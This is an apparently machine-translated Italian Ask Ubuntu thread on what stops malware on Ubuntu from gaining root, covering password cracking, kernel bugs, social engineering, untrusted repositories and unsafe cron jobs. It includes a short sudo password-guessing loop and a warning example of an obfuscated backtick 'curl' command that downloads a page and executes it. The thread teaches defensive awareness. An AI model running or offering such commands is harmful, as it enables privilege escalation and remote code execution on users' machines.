Come viene protetto il sistema?


24

Comprendo che se un malware entra in un sistema Linux, otterrà al massimo un privilegio a livello di utente e rovinerà qualsiasi cosa alla portata dell'utente, ad esempio i file dell'utente stesso.

Ma cosa impedisce esattamente ai malware di ottenere l'accesso a livello di root? Non può in qualche modo rompere la password dall'interno?


Grande domanda e risposte!
NlightNFotis,

Risposte:


20

Questa è una domanda complessa. Ci sono molti diversi livelli di sicurezza in un sistema Ubuntu, da framework complessi come AppArmor a umili variabili del kernel come mmap_min_addr. Puoi aggiungere alcune funzioni del kernel come la randomizzazione della memoria nel mix. Puoi trovarne un elenco insieme a una breve spiegazione sul Wiki di Ubuntu .

Un altro fattore importante è che gli aggiornamenti sono veloci e facili, quindi la maggior parte dei computer verrà aggiornata alle ultime correzioni di sicurezza.

Per quanto ne so, un utente malintenzionato che ha ottenuto l'accesso locale al tuo computer ha tre modi per ridimensionare i privilegi del kernel:

  1. Crack la password. Ma questo sarà davvero difficile, la password viene memorizzata crittografata, utilizzando algoritmi senza difetto noto. Ci vorranno anni per decifrarlo.

  2. Bug nel kernel. Ma tutte le funzionalità di sicurezza del kernel si frapporranno.

  3. Ingannare l'utente per fornire la password, ovvero il social engineering. Mostra solo una finestra di dialogo password falsa o usa qualche altro trucco. Questo è il modo più semplice per farlo.

Il terzo punto è la vulnerabilità più debole in questo momento.


5
Si noti che questa "password" è la password di un utente con privilegi sudo-to-root. L'account di root è disabilitato per impostazione predefinita. # 3 è davvero la cosa più possibile che accada. Inoltre, se si installano repository non attendibili, si distribuiscono account root gratuiti a tale repository.
Lekensteyn,

@Lekensteyn, cosa ?! In che modo l'aggiunta di repository non attendibili distribuisce l'accesso root? A proposito, potresti voler pubblicarlo come una risposta, voglio che questa discussione sia una sorta di wiki della community.
Oxwivi,

Non esistono thread su askubuntu, a parte i processi del server. Hai appena pubblicato un commento per una risposta alla tua domanda . Ho aggiunto una risposta con spunti di riflessione.
Lekensteyn,

@Oxwivi Quando aggiungi un PPA e installi un pacchetto, il pacchetto ha script preinst e postinst che possono fare quello che vogliono. Può anche installare un servizio da eseguire come root o pasticciare sudoers.
Ripristina Monica - ζ--

15

Craccare la stessa password di root non è possibile, perché Ubuntu ha disabilitato l'utente root per impostazione predefinita. Tuttavia, se il tuo utente può diventare root tramite sudo e la tua password è facile da indovinare / forza bruta, hai un sistema insicuro. Script di esempio che prova a testare una password:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

L'aggiunta di un repository non attendibile consente l'installazione dei programmi da quel repository. Anche se non si installa esplicitamente un'applicazione come sudo apt-get install [app-from-repo], il repository può comunque influire su altri programmi facendo credere a Ubuntu che il repository contenga una versione più recente di un determinato programma.

Il processo di aggiornamento viene eseguito come root, altrimenti i file non possono essere scritti su /usr/bino /etc. Un trigger di installazione viene eseguito anche come root e può eseguire comandi arbitrari e possibilmente dannosi. Ora, non preoccuparti, sono necessari interventi manuali per aggiornare i programmi e i repository Ubuntu sono al sicuro. Il software a sorgente chiuso come Windows non può mai essere considerato completamente attendibile perché non è possibile controllare l'origine per codice dannoso, ma è possibile rivedere l'origine dell'applicazione Ubuntu se necessario (non si applica a programmi proprietari come sun-java6o Flash).

Come menzionato da Javier Rivera, i bug del kernel possono portare a un'esecuzione arbitraria di codice, ma anche i software con errori sono potenzialmente pericolosi, in particolare setsuidi binari root con errori (binari che verranno eseguiti con il proprietario del file, root) e altri programmi con errori eseguiti come root.

È possibile creare falle di sicurezza sul proprio sistema se non si presta attenzione a ciò che si sta facendo. Ad esempio, senza comprendere appieno il concetto di cronjobs, hai aggiunto un cronjob a /etc/cron.dailycui viene eseguito un programma nella tua cartella home (ad es /bin/sh /home/your-username/myscript.sh. Se il file myscript.sh è scrivibile da te può essere eliminato da te, un exploit potrebbe mettere dannoso codice in myscript.shcui verrebbe eseguito come root (escalazione di privilegi).

Per stare al sicuro, usa la tua mente! Non eseguire comandi da fonti non attendibili se non si sa cosa fa. Se qualcuno dice di correre `curl 3221233674`con il segno di spunta, non farlo. 3221233674 è un altro modo di scrivere 192.0.32.10(IP di esempio.com). Quindi, sarebbe uguale a:

`curl http://example.com/`

Questi back-tick fanno sì che l'output venga eseguito come comandi shell. In parole povere, "Scarica la pagina http://example.com/ e prova a eseguire la pagina scaricata".

All'inizio, non vedresti qualcosa di dannoso nel comando dato. Ma ora sai che può anche essere abusato.

Controlla sempre i comandi / script che ricevi da fonti non attendibili, come Internet.


1
Grazie per la risposta, spero non ti dispiaccia per le mie modifiche. Prendi nota delle mie modifiche per migliorare il tuo inglese.
Oxwivi,

2
No, non mi dispiace. Ogni miglioramento è il benvenuto :)
Lekensteyn,

Indipendentemente da ciò, questo è un post eccellente, i punti che hai citato devono essere annotati!
Oxwivi,
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.